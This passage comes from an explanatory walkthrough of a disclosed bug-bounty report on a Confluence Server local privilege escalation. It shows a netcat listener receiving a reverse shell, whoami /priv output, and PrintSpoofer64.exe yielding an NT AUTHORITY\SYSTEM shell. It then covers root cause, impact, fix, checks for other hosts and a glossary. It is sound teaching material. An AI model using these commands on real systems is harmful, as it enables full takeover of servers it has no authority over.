Why this step matters: Confluence administrators can install plugins, and plugins can run code. That code runs with the same permissions as the Confluence program itself, which is a service account, not a normal user.
Step 8: Inspect the process token privileges
The reverse shell connects back to the researcher's Linux machine, and they run whoami /priv to see what special rights the Confluence process has.
[celliott@fedora ~]$ nc -lvp 1234
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::1234
Ncat: Listening on [redacted]:1234
Ncat: Connection from 192.168.1.142.
Ncat: Connection from [redacted]:58735.
Microsoft Windows [Version 10.0.19045.2965]
(c) Microsoft Corporation. All rights reserved.
C:\Program Files\Atlassian\Confluence>whoami /priv
whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ========================================= ========
SeAssignPrimaryTokenPrivilege Replace a process level token Disabled
SeIncreaseQuotaPrivilege Adjust memory quotas for a process Disabled
SeShutdownPrivilege Shut down the system Disabled
SeAuditPrivilege Generate security audits Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeUndockPrivilege Remove computer from docking station Disabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege Create global objects Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
SeTimeZonePrivilege Change the time zone Disabled
What each part does:
nc -lvp 1234runs netcat, a simple networking tool.-lmeans listen,-vmeans verbose (show details),-p 1234means on port 1234. It sits waiting for the victim to call back.- The
Connection from ...lines show the victim machine has connected. - The
Microsoft Windows [Version ...]banner is the command prompt on the victim machine, now visible to the attacker. whoami /privlists the special privileges the current process holds. A privilege is a specific, named permission, finer-grained than a group.- The key line is
SeImpersonatePrivilegewith stateEnabled. Its description, "Impersonate a client after authentication", means the process is allowed to temporarily act as another user who has connected to it.
Why this step matters: this privilege is the doorway to the final escalation. Many Windows service accounts hold it because services often need to act on behalf of users. On its own it sounds harmless, but combined with the right trick it lets a process borrow a more powerful identity.
Step 9: Impersonate a SYSTEM token
The researcher uses PrintSpoofer64.exe to borrow the identity of the Print Spooler service, which runs as SYSTEM, and gets a fully privileged shell.
C:\temp>PrintSpoofer64.exe -i -c powershell.exe
PrintSpoofer64.exe -i -c powershell.exe
[+] Found privilege: SeImpersonatePrivilege
[+] Named pipe listening...
[+] CreateProcessAsUser() OK
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
Try the new cross-platform PowerShell https://aka.ms/pscore6
PS C:\Windows\system32> whoami
whoami
nt authority\system
PS C:\Windows\system32>
What each part does:
PrintSpoofer64.exe -i -c powershell.exeruns the tool.-imeans impersonate, and-c powershell.exesays which program to launch once the impersonation succeeds.[+] Found privilege: SeImpersonatePrivilegeconfirms the tool can see the privilege it needs.[+] Named pipe listening...shows the tool creating a named pipe. A named pipe is a channel that programs on the same machine use to talk to each other, like an internal intercom. The tool sets up a pipe and waits for a privileged service to connect to it.[+] CreateProcessAsUser() OKmeans the tool successfully started PowerShell under the borrowed, more powerful identity.CreateProcessAsUser()is a Windows function for launching a program as a specific user.whoamiinside the new PowerShell window returnsnt authority\system.SYSTEMis the highest local account on Windows, more powerful than a normal administrator. It is the account the operating system itself uses.
Why this step matters: this is the top of the ladder. The attacker started as an ordinary user and now controls the whole machine.
Why it works
The root cause is a file permission mistake made by the installer. confluence.cfg.xml is readable by every member of the local Users group, and it stores the database password in clear text. Any local user can therefore read the application's database password.
Because that database account is the one Confluence itself uses, it can write to the application's own tables, including users, groups and user mappings. Nothing in the flow needs a Confluence account, a web-facing bug, or any interaction with Confluence's login logic. The attacker writes the rows directly and then logs in normally.
The second half of the chain depends on the privileges of the Confluence service account. The report shows the process holds SeImpersonatePrivilege, which is common for service accounts, and that this privilege can be used to impersonate a SYSTEM token, for example via the Print Spooler.
What the impact is
An attacker with a low-privileged foothold on a Windows host running Confluence Server can escalate to Confluence administrator and to NT AUTHORITY\SYSTEM, gaining complete control of the server and of the Confluence data it contains. The report frames this as a local privilege escalation, so it requires local file system access first; it is not a remote attack on its own. The platform records the severity as medium and the bounty as 800 USD.
How it was fixed
Atlassian's summary describes the issue as a local privilege escalation vulnerability in Confluence Server, and the report was disclosed after being resolved. The report text does not describe the specific change that was made. The fix that follows from the root cause is to restrict the permissions on confluence.cfg.xml so that only the account running Confluence (and administrators) can read it, rather than the whole Users group, and to avoid storing the database password in clear text where possible.
Things to check on other systems
- Check the permissions on other Atlassian configuration files under
C:\Program Files\Atlassian\on a default install. A positive result is a file readable byBUILTIN\Usersthat contains credentials or secrets. - On a host where the configuration file is protected, look for backups, copies or installer logs that contain the same database settings. A positive result is any readable file with the
hibernate.connection.passwordproperty. - If database credentials are recovered, test whether the database account can write to the application's user tables, as shown here with
cwd_user,cwd_membershipanduser_mapping. A positive result is an inserted account that can log in to the web interface. - From a command execution context as the service account, run
whoami /privand look forSeImpersonatePrivilegeorSeAssignPrimaryTokenPrivilege. A positive result is either privilege being present and enabled, which opens the token impersonation path. - Repeat the same review on Linux installations, checking the ownership and mode of the equivalent configuration file. A positive result is a file readable by users other than the service account that contains database credentials.
Glossary
- Confluence: Atlassian's team collaboration and documentation product, used like a company wiki.
- Confluence Data Center: the self-hosted version of Confluence that a company installs on its own servers.
- Database: a program that stores and organises data, here all the pages, users and settings.
- PostgreSQL: a free, widely used database program.
- Configuration file: a file that tells a program how to behave and how to connect to other systems.
- Plain text: stored without any scrambling or encryption, so anyone who can read the file can read the secret.
- Local privilege escalation: going from a low level of permission on a machine to a much higher one, starting from some existing foothold on that machine.
- Foothold: an initial, limited level of access an attacker has obtained.
- Group: a bundle of permissions shared by many accounts, so rights can be granted to many people at once.
- Integrity level: a Windows safety ladder (medium, high, system) that limits what a session can do.
- Pipe (
|): a shell feature that feeds the output of one command into another command. - XML: a text format that labels data with tags like
<property name="...">value</property>. - SQL: the language used to read and change data in a database.
- Table: a database structure like a spreadsheet, with rows (records) and columns (fields).
- Row: one record in a table.
- Column: one field in a table, such as
user_name. insert: an SQL command that adds a new row to a table.select: an SQL command that reads data from a table.- Hash: a one-way scramble of a password, stored instead of the real password.
psql: the command-line client for PostgreSQL.- Reverse shell: a program that makes the victim machine connect back to the attacker and hand over a command prompt.
- Socket: the programming object representing one end of a network connection.
- Port: a numbered door on a computer that a network service listens on.
- Netcat (
nc): a simple networking tool often used to listen for or make connections. - Groovy: a scripting language that runs on the Java platform, used here through a Confluence plugin.
- ScriptRunner: a Confluence plugin that lets administrators run scripts.
- Privilege: a specific, named permission a process holds, finer-grained than a group.
SeImpersonatePrivilege: a Windows privilege that lets a process temporarily act as another user who has connected to it.- Token: in Windows, the internal object that represents a logged-in user's identity and permissions.
- Named pipe: a channel programs on the same machine use to talk to each other.
- Print Spooler: a Windows service that manages printing, which runs as
SYSTEM. NT AUTHORITY\SYSTEM: the highest local account on Windows, used by the operating system itself.CreateProcessAsUser(): a Windows function for launching a program under a specific user's identity.PrintSpoofer64.exe: a tool that abusesSeImpersonatePrivilegeto obtain a SYSTEM shell via the Print Spooler.- ACL (Access Control List): the list of rules on a file or folder saying who may read, write or execute it.
BUILTIN\Users: the standard Windows group that ordinary, non-administrator accounts belong to.- Severity: a rating of how serious a vulnerability is, here recorded as medium.
- Bounty: a reward paid to a researcher for reporting a valid vulnerability, here 800 USD.